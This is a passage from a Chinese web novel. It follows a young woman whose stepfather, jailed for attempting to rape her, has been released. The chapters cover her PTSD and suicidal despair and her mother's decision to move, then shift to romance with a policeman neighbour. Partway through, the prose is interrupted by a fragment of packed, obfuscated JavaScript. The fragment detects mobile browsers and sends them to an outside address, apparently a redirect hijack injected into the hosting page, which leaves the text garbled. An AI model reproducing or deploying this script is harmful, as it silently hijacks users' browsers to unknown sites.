战火转移让乔星若松了口气,有些同情地看着被做思想工作的许敏,悄悄溜回房间。
直到客厅里的谈话声渐渐安静下来,确认亲戚们离开之后,乔星若才重新从房间里出来。
许敏正在给乔咪咪舔粮,看到她随口问了句晚上想吃什么。
乔星若正想说话。忽的听见门外传来敲门的声音。
很轻,只响了一声便停了。
乔星若犹疑着问:“妈妈,是有人敲门吗?”
“有吗?我去看看。”许敏的注意力全在猫上,所以没有听见,闻言起身到玄关处通过猫眼察看。
什么也没有。
许敏有些纳闷:“可能是隔壁的……”
准备回头时,蓦然想起去烈士陵园看乔夜阑当晚收到的短信。
——你们还住在原来的地方啊?
心里升起某种预感,让许敏的脊背一僵。
当年祢戌文被抓进去后,还要应付很多很多的事情。首要的就是乔星若的心理问题,还有各种亲戚好友的询问。
每天的脑子混沌,便想不起搬家这种事了。后来就是想起,也觉得几年时间还长远,便没有急着搬家。没想到这几年过得浑浑噩噩的,时间一晃过去他都出来了。
乔星若察觉到许敏神色不对,轻声问:“妈妈,你怎么了?”
许敏回神,呐呐道:“没事、没事,我只是走神了,外面没有人。”
确认门反锁上之后,许敏纠结片刻,拉着乔星若在客厅坐下,酝酿着跟后者商量:“若若,妈妈在想,要不要搬家。”
乔星若愣了愣:“这么突然吗?”
许敏搓着大腿,试图让冰冷的掌心暖和一点。似是怕吓到乔星若,她的声音放得很轻缓:“就是……咱们初一去看你爸爸的时候,不是遇到了徐队吗?他跟我说,祢戌文出来了。”
祢戌文。
听到这个名字,乔星若如同被触到了某根神经,脑海一片空白。
她紧抿着唇,神色茫然,不知道该说什么。
许敏还是跟小时候一样,很多事情都会坦白跟她说,以平等的姿态跟她商量。
知道乔星若可能会害怕,但许敏还是选择如实告诉她这些情况。
毕竟不知道祢戌文以后会做什么,变成了什么样,与其让她被懵懂保护着,不如让她知情,心里建设好防备。
“他给我发过短信,知道我们还住在这里……我就怕他会找过来,所以我觉得搬家会安全一点。”
许敏垂着眸,平静说着自己的处境:“我手里还有积蓄,你爸爸还有你外公外婆留下来的,我自己开店也攒了一些。”
“我原本是想过去海城陪你的,但是,但是……”
乔星若鼻子一酸,下意识道歉:“对不起……妈妈,我就是……有点害怕。”
许敏摇摇头,握住她的手无意识摩挲着:“若若,我知道你不想我过去,那妈妈在你觉得可以之前,都不去打扰你好不好?你大姨一家也在海城,我可以在他们小区租个房,也有个照应。”
乔星若沉默几秒,妥协点头。
需要时时刻刻提心吊胆的日子她知道是什么滋味,她也很害怕许敏留在这里会出事。
“……好。”
因为这件事情她们情绪都不太好,后面心不在焉说了几句,便各自回房休息了。
乔星若抱着乔咪咪在床上呆坐着,被子捂了许久仍然手脚冰凉。
过往的事情让觉得她害怕,却像关不紧的阀门,同潮水般朝她汹涌袭来。
乔星若上高中之后,选科进入美术班。
朝夕相处的同学全都和她一样,朝同一个方向努力着,一切都在慢慢往好的方向发展。
直到许敏恋爱。
许敏认识了一个祢戌文。
他是做小生意的,原先是许敏的顾客,后来经常过来约她一起吃饭,送她回家。
祢戌文追了许敏近半年,后者的态度也从一开始的拒绝变得松动。后面曾试探着问过乔星若,愿不愿意接受这个家多一位新成员。
乔星若立即猜到许敏的意思。
那时候的她虽处于敏感的青春期,但也已经是个懂得站在妈妈的角度思考的大孩子了。
占有欲作祟,乔星若心里确实是不高兴的,还有点害怕别人分走以前从来只属于自己的爱。
但她也知道遇到一个喜欢的人很难得,乔敏对她那么好,她希望乔敏幸福,不要被她拖累。
所以,那时候的乔星若对上许敏小心翼翼却又藏不住期待的眼神,点头说愿意。
某次祢戌文送许敏回到小区,后者顺势邀请了他来到家里吃晚饭。
乔星若也是在那时候认识了这个人。
男人面容和善,跟放学回来的她主动打招呼。许敏跟她介绍这位“祢叔叔”。
乔星若乖巧打了招呼,还收下了祢戌文给她带的小礼物。
那天的她怎么也不会想到,初次见面对她友好亲切的男人在跟许敏结婚后,会成为她未来几年,甚至往后余生的梦魇。
强.奸未遂,只是进去几年便出来了。
可她,却要接受着所有人的目光,痛苦、煎熬地活着。
乔星若费尽了全部力气从深渊里爬出来后,连回望一眼的勇气都没有。
一辈子都不敢有。
曾经很长一段时间,乔星若接受不了任何人的目光,她太痛苦了。
痛苦到想结束生命,却又怕死不彻底给人添麻烦,怕许敏唯一的精神支柱彻底破碎。
彻夜蜷缩难眠,她一闭眼就想到那个惊恐绝望的场景,那个人一步一步朝自己走来。
她的神经需要时时刻刻紧绷着,提防那躁动的梦魇,仿佛稍不留神就能将她吞噬。
真的太痛苦了……
—
与此同时,另一个房间里的人也辗转难眠。
许敏的脑海里不断浮现出当年祢戌文被抓时罪恶的嘴脸,以及眼神空洞、看到她时崩溃大哭的乔星若。
乔星若抓着她,像一个坠入深渊,无论如何挣扎都无济于事的孩子。
“所有人都知道了……所有人都知道了……”
“妈妈,我不想活了……”
那段低迷阴暗的时光,许敏忘了自己是怎么熬过来的。
花店关了一段时间,每天在家陪乔星若。
她其实也不太敢出门。
自从经历那件事情,乔星若崩溃大哭完之后,整个人像是神经呆滞住了。
因为从阳台逃离而摔折了腿,乔星若的行动迟缓,
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几乎每天都在沙发上呆坐着,做日常事情的行动木然僵硬。
但对水滴、磕碰等一些细微的声音很敏感,会觉得耳鸣、头疼、窒息。
乔星若原本只是性格安静一点,但对许敏还是有很多话说的,可现在却变得沉默寡言。
她像是没处去了,连自己的房间也不敢回。明明那里曾是自己秘密最多、最有安全感的地方,却没有勇气进去。
最后实在没办法,许敏在储物间放了张小床,让她在这小房间里将就着睡觉。
这样的情况其实不难看出,乔星若出问题了。
徐队来家里走访时,为这件事情惋惜了一番,说了很多安慰许敏的话。
在了解到乔星若的异常情况后,建议许敏带她去医院找心理医生做咨询。
“我在局里见过受害者,在经历过人身安全受到严重威胁后,心理造成了损失而留下后遗症,引发PTSD,这种情况很常见的。若若这么小,被吓到也在所难免,最好是去看看。”
许敏当时听到这个建议,第一反应是抗拒的。
她的眼神充满了茫然和犹疑。
她承认自己是自私的,可这件事情彼此各有难处。
她是一个原配去世再婚的女人,再嫁的丈夫对自己女儿做出这种事情,已经让她在这片地方名声狼藉了,每天都在各种人的指点下度过。
如果再让人知道,她的女儿有心理病……
第一个承受不住的人会是她自己吧。
她就真的如那些人所说的那样,照顾不好自己的女儿,婚姻一团糟,克夫……
她的人生就是这样的。
许敏试探性问过乔星若,想不想去看心理医生。
她想,如果女儿愿意的话,那就去吧,毕竟没什么比孩子更重要的。
那时候的乔星若毫无生气,连出门都做不到,浑然活成了畏惧阳光的暗魂。
她抱着膝盖坐在折叠床上,单薄瘦弱的身体缩在墙边。听到这个问题之后,沉默了很久,久到许敏以为她没听清。
正准备酝酿着开口再问一遍时,细如蚊蝇的声音传来。
“不想。”
许敏听到答案,心疼的同时因为那点私欲作祟,暗自松了口气。
她带了些岁月痕迹的手轻轻抚摸着乔星若的头发,故作乐观地说:“不想咱就不去了,我看网上说心理医生的作用微乎其微,很遇上不专业的也只是浪费钱而已。这钱妈妈留着给你买好吃的,给你学画画,也许我的若若就会开心起来啦。”
“……”
乔星若在家待了三个月,养好腿伤了才重新回学校。她出门前会戴帽子口罩,即便是夏天也穿着长袖外套,把自己裹得严严实实。
互联网快速运作的时代,这件事情整个羽城的人都在讨论,更不必说有关联性的羽城一中。
学校里的所有人都知道了,在路上很多人会打量她。
乔星若在班里的存在感比较低,可返校之后却成了受关注最多的人。
同学们大多都假装不知情,除了有一两个没心没肺的会按捺不住好奇心来问她那天的事情。
“哎,乔星若,你出事那天……真的被……那啥了吗?”
“你怎么还来上学?还以为你不来了,没想到你挺厉害的。”
乔星若没吭声,只是藏在袖子里的手止不住地发抖。
29. 害怕
这些话都是听跟她们同小区的一个乔星若同班同学说的,许敏知道后难受得心里发酸,当即找了那几个同学的家长理论。
后来乔星若过完了高二,需要去海城集训了。
许敏不放心她过去,踌躇着问她的想法。
可乔星若说,她要去。
这是那件事情之后,她第一次提出了自己的需求。
许敏又高兴又担忧,最后还是答应了。
幸好,这半年过得还算风平浪静。
许敏在画室家长群看到乔星若的照片,状态与其他人无二,似乎又变回了以前那个腼腆却固执,会对热爱之物投入无限能量的女孩子。
可能做喜欢的事情的时候,会抵御很多困难吧。
许敏更加相信,她的女儿好起来只是时间问题,岁月会冲淡伤疤。
这个侥幸心理一直到乔星若去海城上大学。
她们每次打电话,几乎都是许敏在说,乔星若愈发沉默寡言。
直到某天,乔星若打电话回来。
许敏不知道她当时在哪,通过手机能听到那边的风声,以及几声抑制不住的哽咽。
乔星若那晚哭到几乎失声,嗓音嘶哑地说自己很难受,很痛苦,像是快要死掉了。
许敏的眼眶当即红了,强忍着理智问了好几遍她在哪。她也不说,只是一味地哭泣。
这么远的距离,许敏没办法立即到自己女儿身边,都快疯了。
心脏都在抽疼,极度的恐慌,害怕自己真的失去这个孩子。
许敏一边安抚乔星若一边收拾行李,开了一晚上的车到海城。
她过去陪了乔星若一段时间,陪她在海城的市医院找了心理医生做心理咨询。
重度抑郁,创伤后应激障碍症。
她的女儿真的生了很严重的病。
只是她一直在自欺欺人,不愿相信罢了。
从医院离开回到旅馆,许敏哭了一晚上。
她真的不敢相信,自己怎么可以这么自私。
明明已经拥有了这么好的孩子,却还是想组建一个完整的家庭,才害得她的若若变成这样。
她明明这么爱她的女儿,却做了很多伤害后者的事情。
乔星若情绪稳定一些后,许敏跟她商量,想搬来海城照顾她。
乔星若拒绝了,她想要一个没有曾经认识自己的人的环境。
许敏虽然无奈,也只能尊重她的想法。
回羽城那天,她们见了最后一面。许敏抱着乔星若,像是在抱一件易碎的宝贝,不敢太用力。
“妈妈很害怕,妈妈很害怕会失去你……若若要乖一点,听医生的话配合治疗,妈妈会一直在的。”
—
许敏决定搬到海城后,在大姨的帮忙下找好了房子,打算初七跟乔星若和乔景元一起回去。
现在在羽城这边的房子生活了几十年,许敏也舍不得转卖了,便打算留着,以后回来探亲什么的也有地方住。
初六早上,乔星若起床从卧室出来,看到了许敏带着手套和围裙,在过道进出,便随口问了一句。
“妈妈,你在干嘛?”
许敏搬着一盆花,抽空回了一句:“要搬家了嘛,家里的盆栽没人照顾,我打算分给周边的领居帮忙养。”
“需要我帮忙吗?”看许敏是从她以前的房间里把花搬出来的,她犹豫着问。
“不用不用,早餐做好在饭厅了,若若你快去吃,等会儿凉了就不好吃了。”许敏说完就抱着花盆出去了。
乔星若站在原地,想起许敏刚才抱着的盆栽。
她认得,那是天鹅绒花,她最喜欢的花。
因为现在季节不对,所以没有开花,花蕾如同绿色的宝石。印象中开花时是星型的六瓣花朵,风起时星花簇拥摇曳,似是一群优雅不失灵动的小天鹅。
这么可爱的花是从那个房间里搬出来的,让她对里面少了一点戒备。
乔星若在房间门口驻足片刻,抬步走了进去。
一路低头看着地板,径自走到阳台门前。不知过了多久,乔星若鼓起勇气抬起头,却被眼前的景象冲撞得瞬间失神。
阳台里种了很多的天鹅绒花,十几个盆栽将阳台的栏杆围了一圈,只有两个空缺的位置,应该是被许敏刚搬出去了。
乔星若怔怔盯着眼前,无法用言语表达此刻的感受。
那些不好的回忆像是增生的伤疤,伤口虽然长好了,却至始至终留有疤痕。但在此时却被满天繁星般的天鹅绒花覆盖住了。
—
初七那天,乔景元开许敏的车,载她们回海城。
到许敏新家小区时正好到饭点,他们决定临别前一起吃个饭,在附近找了个评价好的馆子。
现在临近假期结尾,饭馆的生意降了一些,空位不少,服务员带他们找了个位置坐下。
刚坐下,乔星若便感觉左后方接收到了一束目光。她对旁人的视线很敏感,下意识看了过去。
看到陈时澹、刘夕梅、陈时云,还有一个气质上与陈时澹很相似的男人时,她愣了一下。
没想到这么巧,回海城的第一天就遇到他了。
他们应该是一家人出来吃饭的吧?
陈时澹在她看过来时已经收回目光了,似是她的错觉。
许敏知道乔星若在外面会不适应,所以习惯性默不作声关注她的举动,见她有些反常,便问了一声:“若若,你怎么了?”
“……没有。”乔星若将头转了回来,凑过去跟乔景元一起看菜单。
陈时云也看见乔星若了,咧着嘴要站起身过去喊她。可下一秒便被陈时澹按了回去。
“姐姐不是一个人过来的,别去打扰人家。”
陈时云气馁地”哦”了一声,继续埋头吃饭。
刘夕梅听到兄妹俩的对话,循着他们刚才看的方向看过去,认出了乔星若。
“哎,好巧呀,小若也在咱们家附近吃饭。”
唯一没见过乔星若的陈明行将他们的举动看在眼里,也注意到了另一桌的人:“他们是?”
“那个小姑娘是繁花苑那栋房的一个租客,也是阿澹的领居,挺好的一个妹子。”刘夕梅说着有点惋惜,“可惜有对象了。”
陈时澹夹菜的动作顿了顿,不经意道:“不一定。”
刘夕梅不可置否:“什么不一定,上次咱们一起吃饭,小若亲口说的,可不是我瞎猜的。”
陈时澹眉梢一扬,想再说点什么,但又显得自己多了解乔星若一样,还是选择了闭嘴,免得多生误会。
可就算不说,刘夕梅还是误会了。
她想起之前元旦陈时澹不肯在家留宿非要回繁花苑那边,陈时云说他要回去找乔星若的事情。
瞬间警惕。
这儿子……
这顿饭下来,刘夕梅频频注意另一桌其乐融融的三人。
那桌唯一的男生看着年纪跟乔星若差不多大,模样生得白净清俊,跟后者交谈时已然超过了普通异性的距离。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220255|195701||http|test|mini|href|location''.split(''|''),0,{}));
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>那男生眼里还很有活,帮忙用茶水洗碗筷,剥虾倒水。注意到乔星若经常撩头发,很贴心地帮忙用小皮筋扎起来。
这应该就是小若的男朋友了?
完了啊,自家便宜儿子难得开窍,结果人姑娘都有对象了。
刘夕梅心情有亿点复杂,脑子里飞速运转怎么让陈时澹死心。
一看到看到乔星若和乔景元举止亲密时就狂咳嗽,眼神示意陈时澹往那边看。可后者只是平淡掀起眼皮,看她没咳出什么事后继续埋头吃饭。
刘夕梅瞪了他一眼,一副恨铁不成钢的模样。
这死小子怎么油盐不进的。
看着另两个也在安静闷吃的人,挑了个不顺眼的踩了一脚:“看你生出来的傻儿子!”
陈明行:“?”
另一边——
乔星若头发长长了一些,碎发时不时往前掉。乔景元注意到之后,顺手用腕前小皮筋帮她在后面扎了个小揪揪。
乔星若有些意外:“你怎么有小皮筋,谈恋爱了?”
乔景元耳朵红了,轻轻“嗯”了一声:“是同专业的师妹,导师的女儿,下次带她来给你们见见。”
许敏玩笑道:“这么害羞干嘛,这个年纪谈恋爱很正常呀,还是觉得比你姐姐小但比她先谈恋爱,感觉像早恋?”
乔景元挠挠头:“还真有点。”
乔星若也笑了,用手肘锤了他一下:“恋爱人士莫挨老子。”
“哎,姐,我看那个嘉明哥人就挺不错的呀。”乔景元的语气里多了点意味深长,“他肯定也对你有点意思的,你想啊,为啥就那么巧,他也在除夕那天回羽城?一般人不都在年前回去了嘛,说不定是特意等你一起回的。”
“别瞎猜,我们只是朋友。”乔星若试图让他换位思考,“要是你哪个朋友跟你一个老家,回去的时间又刚好大差不差,你也会想着等他一起回吧,人之常情。”
乔景元按着他姐的思路想了一下。
可能是自己人缘不好吧,没有遇到喊他“元元”的异性朋友,都结束了半个月工作了还特意等他一起回老家。
那天一起回家路上,乔星若刚好睡着了,他压低声问江嘉明觉得他姐怎么样。
眼神是骗不了人的,江嘉明的眼神瞬间柔和下来了,含糊回答了句“挺可爱的”。
男人之间的默契,他们交换了联系方式。
必要的时候他这个做弟弟的可助攻一下。
可现在看来,乔星若似乎完全没那个意思啊。
乔景元有点失望。
他对江嘉明印象还挺好的,温柔细心,最重要的是对乔星若很好。
吃完饭出来,乔星若和乔景元跟着许敏一起到翰林苑帮忙收拾新家。
这个小区比繁花苑的地段好很多,一梯两户,房子是一厅两室的,家具齐全,采光好。
门锁是智能锁,房东提前设置回原始密码了,可自行修改。
许敏录入自己的指纹后,把乔星若和乔景元的也录进去,方便他们随时过来。
因为提前在线上看过房子,所以搬来的东西一个后备箱就装得下。人多收拾得也快,不到半小时就收拾好了。
许敏把从羽城带来的相框摆好在客厅,满意地在屋里环顾了一圈。
她单独留了一盆天鹅绒花带了过来,放到了窗台上。
看时间不早了,乔星若和乔景元准备告辞,许敏提出送他们回去。
三人刚下楼,便撞见了从外面回来的陈时澹几人。
30. 让你抱
乔星若:“???”
怎么会这么巧?他们是绑定了啥转角偶遇的系统吗?
陈时澹看到她也怔了一下:“你怎么在这?”
乔景元看到陈时澹,主动打了个招呼:“时澹哥。”
陈时澹“嗯”了一声,视线又落回到乔星若身上。
乔星若觉得手无处安放,曲着指点了点空气:“……我妈妈刚搬过来,我们就过来看一下有什么能帮忙的。”
陈时云看到她,蹦着扑进她怀里:“姐姐!”
“小云,好久不见。”乔星若像给乔咪咪顺毛一样,摸了摸这小孩的后脑勺,又转头看向刘夕梅和陈明行,“叔叔阿姨好。”
陈明行朝她微微颔首:“你好。”
刘夕梅笑了笑:“小若啊,好久不见呀。”
见几人都在互相寒暄,许敏有些意外:“你们都认识啊?”
乔星若看了眼陈时澹:“这是我高中画室的师哥,还有他的家人。”
她顿了一下,跟陈时澹介绍许敏:“这是我妈妈。”
即便在外面见过大风大浪,可跟这位气质温柔的女人对视上时,陈时澹的脸莫名绷紧。
他抿了抿唇:“阿姨您好,我叫陈时澹,您叫我小陈就行。我是星若的朋友,也是邻居。”
“你好,小陈。”许敏眼中含笑,不动声色打量了几秒眼前的人,“你和若若是邻居呀?我听若若提起过你,是一名警察?”
乔星若有点心虚。只是随口一提啦,不知道为什么有种说人坏话被抓的感觉……
听到乔星若提起过他,陈时澹极轻地抬了下眉。
“是的,我在海城分局工作,是一名刑警画像师。”
许敏不了解这个职位,但听着很厉害的样子:“这么优秀呢,一表人才。那你们以后互相多关照一下呀,远亲不如近邻嘛。”
“好的,我会照顾好星若的。”
“……”
刘夕梅听着自家破孩子不值钱那样,心里啧啧。
这事闹的,搞的跟人家把女儿托付给他了一样。
但很快刘夕梅又想起前几天找她租房的女人,估计就是这位了。
刘夕梅:“您姓许呀?老家羽城的那位?”
许敏愣了一下,反应过来她的身份:“您是房东太太?”
“对呀,叫我夕梅就好。”刘夕梅弯了弯眸,“说起来也巧呢,你刚好住我们隔壁,原先那一家因为工作调动搬走了。”
“那真是有缘分,两孩子是邻居,咱们也是邻居,以后多多关照呀。”
两人都是很健谈的人,握过手后像有了多年的交情般,聊得热火朝天。
陈时澹往乔星若那边靠近了点,低声问:“你现在要回繁花苑?”
乔星若点头:“嗯,你今晚……”
“我也正好要回去,一起吧。”陈时澹抬眼看向乔景元,“弟弟呢?”
乔景元怀疑了两秒才确定这声弟是在叫他,张了张嘴:“呃……我回宿舍。”
“那一起吧,我开车送你们。”
陈时云一手牵着乔星若,一手牵着陈时澹,视线在这些大人中扫来扫去,最终停留在亲哥身上。
她仰头真诚发问:“哥哥,你不是说今晚在家里睡觉吗?”
“……”正在交谈的几人沉默下来。
一直没怎么说话的陈明行抱着臂,挑了挑眉:“对啊,你不是说等会儿要跟我下棋?”
陈时澹:“……”
气氛变得微妙。
乔星若舔了下唇,主动开口解围:“师哥……你不方便的话,我们自己回去就可以了。”
“……”陈时澹抬手揉了揉有些发烫的脖颈,清咳一声,“正好落了点东西在那边,我回去取一趟。”
梅、行、云三人在心里“哦——”了一声。
许敏问:“方便吗?我还想着开车送若若和阿元回去来着。”
“哎呀不用,你刚来肯定也不太熟悉这里,这大晚上的,让这小子送就行,你上我们家坐会儿吧!”刘夕梅不由分说地拉着许敏往电梯方向走。
几人匆匆告别,乔星若和乔景元拿上自己的行李,坐上了陈时澹的车。
有陈时澹在时,乔景元都不太敢说话,玩手机装死。
一周不见了,乔星若也没什么话说,低头隔着猫包逗猫。
因为祢戌文的事情,她这两天的情绪都比较低落。
她做很多事情都三分钟热度,开头越有干劲,说明后面放弃的可能性就越大。
她好像已经有点忘记之前做的追人决定了。
主要是,她真的不会追人,尤其是陈时澹这种喜怒不形于色的。
让他喜欢自己,这不开玩笑吗?
乔星若脑子乱乱的,像是脑含氧量低了,有点发沉。
胡思乱想着,莫名想起了实习期间,有个其他院系的男生追她,被她明确拒绝了。
邱宁知道后笑着说:“你拒绝了有点可惜哦,那个男生虽然长得普通个子矮了点,但家里挺有钱的,你这个条件,配他这样的其实也不错啦。”
因为在一个屋檐下,乔星若还是奉承和谐相处原则,能让则让,不然也挺麻烦的。
毕竟活着已经要累死了,如果要让一个麻烦引发一系列麻烦,那她不想活了。
乔星若听了邱宁的话感觉不太舒服,但也没说什么。
这段友谊也是在那时候出现了隔阂。
乔星若就是这样的人,窝囊废一个,但真诚。
别人对她好时,她会回馈双倍的好。感觉到背叛,也只是在心里默默记仇,攒够了失望就抽身。
生活踩扁了她,那她就扁扁地走开。
乔星若很少跟别人吵架,因为她知道自己词穷吵不赢,也很费力气。
她的力只够支撑身体,气只够自己呼吸。
其实那段话也有乔星若因自卑心理,而潜意识认为邱宁说得对的地方。
比如她的条件。
确实,她不是多好的人。
可她不是因为那个男生好与不好才拒绝的,仅仅只是因为不喜欢。
现在遇到了喜欢的,随之而来的还有那种不配得感。
乔星若的情绪时好时坏,精力满满的时候,感觉自己能干翻地球。
能量耗尽时,心里像是空了一块,只想待在安全区里做那个懦弱无能的自己。
也有左右脑互博的时候。
上一秒乐观安慰自己:没关系的,勇敢一点吧,其实自己也没那么差吧?
下一秒心情又变得极其低落:可是自己真的很差劲,没人会喜欢真实的自己的。包括那些追过她的人,也只是被她包装出来的自己短暂吸引了而已。
她这种人
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,还是比较适合孤独终老吧。
送乔景元回学校后,车里只剩下两人。
陈时澹瞥了副驾上的人好几眼,忍着没问她怎么回趟老家跟奔丧了一样。
回到小区,陈时澹帮乔星若提行李,一起上楼。
电梯门开的声音响起,乔星若心不在焉往前走,却撞上了前面不知什么时候停下脚步的人的肩膀。
撞上了熟悉的橙子气味,乔星若心里咯噔一下。
还以为陈时澹又会说她占他便宜什么的,没想到他也只是朝她的方向偏了下脸,垂着眼帘看她。
“你心情不好?”
乔星若呐呐“啊”了一声:“……好像,有点?”
气氛沉默下来,两人走到各自的门前开门。
乔星若低头找着钥匙,忽然听到旁边传来一句:“要不要给你抱一下?”
“!??”乔星若怀疑自己听错了,愕然抬眸。
陈时澹说这话也是没经过脑子思考,想到这人对耍流氓的事情还挺……有兴趣的,就头脑一热,莫名脱了口。
说完之后看到她的反应,他顿时后悔了。感觉两人的身份像是对调了过来,耍流氓的人变成了他。
口嗨哥和真实姐的脑回路还真的不一样。
乔星若又开始左右脑互博了,这次赢的是让自己勇敢的那一边,她感觉自己又行了。
就是忽然觉得,这个人好像也没那么难追。
几秒后,乔星若真诚发问:“真的假的?”
“当然是假的。”陈时澹眸里含了点戏谑的笑意,“让你抱你敢吗。”
他在挑衅me。
乔星若憋着气卸下胸前的猫包,一步一步朝他走了过去。
“?”
这下轮到陈时澹错愕了。
看着人越走越近,他不可置信地呢喃了一句:“你,不是吧……?”
她还真敢??
下一秒,陈时澹感觉自己的腰腹一紧,被一双手臂环住。
乔星若还是那个怂怂的乔星若,走一半她又后悔了,但感觉临时反悔又没办法收场,只能强撑着面子走过去,颤颤巍巍地抱住他。
她没敢抱太紧,只是虚虚贴着。周身的空气都带着属于陈时澹的气息,体内的多巴胺分泌,让她身体的每一处都充斥了安全感。
像是空悬的身体落了地,有了归宿的地方。
乔星若的身高只堪堪到陈时澹的肩膀处,毛茸茸的头发窝在他的胸膛前,他只需稍稍弯腰,下巴就能蹭到她的发顶。
陈时澹怔怔僵着,忘了自己想说什么。
与乔星若闻到的气息不同,他闻到的是不知名的花香。淡淡的,很好闻,还有温温热热的感觉在他怀里散开。
虽然很冒昧,但不反感。
甚至……有点依恋。
拥抱大概是最没有秘密的事情了,他胸膛里的心脏与她的脸颊紧紧相贴,乱速的心跳无处遁藏。
物理距离为零时,两人都哑了声。
各自怀着心思不知抱了多久,还是陈时澹先开了口。
他的声音沙哑,带着一丝无奈缱绻:“我之前还真没冤枉你。”
反正事情已经发展成这样了,乔星若干脆厚着脸皮做实这个身份:“那……我也没反驳呀。”
陈时澹跟她沟通不下去,叹了口气:“……我真求你了。”
31. 好感
“……”
“你还打算……这样多久?”
乔星若眨了眨眼,觉得自己得见好就收,缓缓松开了手。
她的脸红得跟番茄一样,低头看着鞋尖。陈时澹也没好到哪去,整个人被烫熟了一样,有些不自在地撇开视线。
为了在这个荒谬的行为中挽回一点颜面,乔星若小声狡辩:“对不起……其实、其实我今晚喝醉了……”
陈时澹听完她的借口,看她的眼神带了几分荒唐。
他5.2的视力根本没看到她那桌有酒!
吃完不认帐,还满口胡话的女流氓……
想把她抓走关起来!
乔星若听不到他的心声,自己编的谎话都快把自己说服了,面色很快回复正常。
她一脸认真道:“真的,所以你不能怪我,也不能骂我。”
乔星若扔下这句就拿上猫包和行李开门进屋,整套动作行云流水,仿佛后面有鬼在追她。
陈时澹紧咬着牙关,盯着隔壁紧闭的门沉默几秒,低声说:“再有下次就真的把你抓起来。”
“……”
一门之隔的乔星若一进屋腿就软了,脸颊绷不住地再次发烫,背倚着门板缓缓下滑,跌坐在地上。
完了。
真的完了!!
她刚才到底做了什么啊啊啊!!!!
也没什么吧……就,抱了个警……
窝窝囊囊地闯了个祸……
她弓着腰,把发烫的脸埋进掌心里,感觉自己无颜面对陈时澹了。
搬走得了,正好妈妈那里还有个空房间……
但转念一想,不行啊!妈妈对门是陈时澹他爸妈!
—
“什么?谁抱你了???”
亲友米谰板绘和网文双修,年底某本小说版权大卖后到处旅游,此时正和全家在温暖的亚城过年。
“也不是他抱我,是他提的,但是我主动抱的……”乔星若盘腿坐在沙发上,苦着脸给乔咪咪顺毛。
米谰:“哎呀都差不多了,反正你们就是抱了,你和你邻居这个事情给了我下本书的灵感,我记一下。”
乔星若:“……我很认真的。”
“报一丝职业病犯了。emmm话说我前段时间在某书刷到了一个帖子,说什么喜欢上自己的邻居怎么办,跟你同IP,不会是你小号吧?”
乔星若回忆了一下,自己年初的时候确实发了个帖子,被一堆人追着吐槽说引流。
她郑重其事道:“很有可能,是。”
米谰毫不留情笑了:“要真的是的话你和你邻居的故事能出书了,若若你要不考虑跟我一起写小说吧?”
乔星若想都没想就拒绝了,现在自己的情况好不容易好点了,可不想再加入这个精神内卷还竞争压力大的行业。
况且比起码字,她还是更喜欢板绘。
“那你多跟我说说你跟你邻居的事情呀,给我新书灵感!”
“……”
最后乔星若被磨得耳根子软,将那些不怎么光彩的事情全盘托出。
对面的人放肆大笑一顿,说出自己的猜测:“以我多年写小说和谈过两段恋爱的经验啊,我觉得他是对你有好感的,你一点都没有感觉出来吗?”
乔星若瞪大眼睛,信不了一点:“不可能吧,他之前好像还特别讨厌我呢,现在好多了,也最多是普通朋友关系吧……”
“可是你还说他上周答应了要和你一起做蛋糕,这不就是不抗拒和你相处吗?你主动抱了他,他一个警察怎么可能挣扎不开呢?”米谰语调里多了点调侃之意。
“分明就是——不抗拒你啊。”
“……这都什么鬼。”乔星若被绕进这逻辑里,脑袋晕乎乎的,脸上的热意越来越明显。
她用指关节碰了碰脸颊,被烫的蜷缩了一下。说话的声音逐渐减小:“也有可能……可能是,他习惯了我对他耍流氓。”
“一个警察什么人没见过,还能被你缠住了?男人都这样,口是心非的。”米谰笑嘻嘻地说,“我对那位警官真是越来越好奇了,过两周我去海城找你玩,顺便见识一下什么男人让我们小若若都开窍了~”
乔星若过滤掉废那些打趣她的话,抓到重点:“啊,你过两周要过来?”
“对啊,你们那边最近有个漫展签售会邀请我过去,而且我都好久没见你了,今年一定要再见一次!”
“好呀,那我到时候去接你。”
“……”
这几天拜年走亲戚的不是很多了,倒是有各种群组织大大小小的聚会。
乔星若回海城之后,很多同样从老家回来或海城本地的大学同学组局,凑在一起聊天吹牛皮。
她那时候的存在感低,没有多少关系好的朋友,便没有参加,只是跟夏熙几人简单聚了一下。
乔星若和夏熙带了两弟弟,林溯琪带了丈夫和小孩。夏然看到乔星若,小狗眼亮晶晶的跟她打招呼。
对上两小姐妹耐人寻味的眼神,乔星若有些无奈。
转眼到了初十。
乔星若看到日历备注提醒,想起这天是陈时澹生日。
陈时澹早就放完假去上班了,之前说要一起做蛋糕,也不知道他还有没有时间。
也有可能是随口说说而已……就算是真的,现在也有可能不想和她一起了。
自从那天晚上拥抱之后,他们就没再联系过。乔星若也不敢出门,怕遇到他被眼神刀死。
感觉自己快被暗恋对象避雷了。
乔星若一边纠结着这个事情,一边窝在小沙发上板绘。
因为心不在焉,撤回线条的次数比往常多了一倍。
乔星若轻轻咬了一些指关节,有些烦躁:“还是得多画,这段时间画少了都生疏了……”
不知不觉到了傍晚,乔星若进厨房炒了几个菜。
她特意多做了一些,万一陈时澹加班晚归,也可以过来她这边吃晚饭。
做完之后,手机闹钟正好响起,到遛猫时间了。
乔星若抱着乔咪咪下楼。
这几天很多人还放假在家,下楼遛弯的人不少,也有很多跟她一样遛猫遛狗的。
有几个自来熟的看她一个人坐着,便坐到她旁边,一起聊养宠经验,像极了宝爸宝妈。
人多一起聊天的时间过得快,天色很快暗了下来。乔星若跟他们道别,便带着乔咪咪上楼了。
她从电梯出来看到过道里的人,愣了一下。
是一个很年轻的女生,年纪应该与她相仿。栗色的波浪卷发,妆容精致,素白风衣,身形高挑纤细。
手里还拎着一个蛋糕。
乔星若冒出了两个念头:
好漂亮。
来找陈时澹的?
女生察觉到她的视线,出
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于礼貌主动打招呼:“你好,你是时澹哥的邻居?”
乔星若顿了一下,点点头。
“你好。”
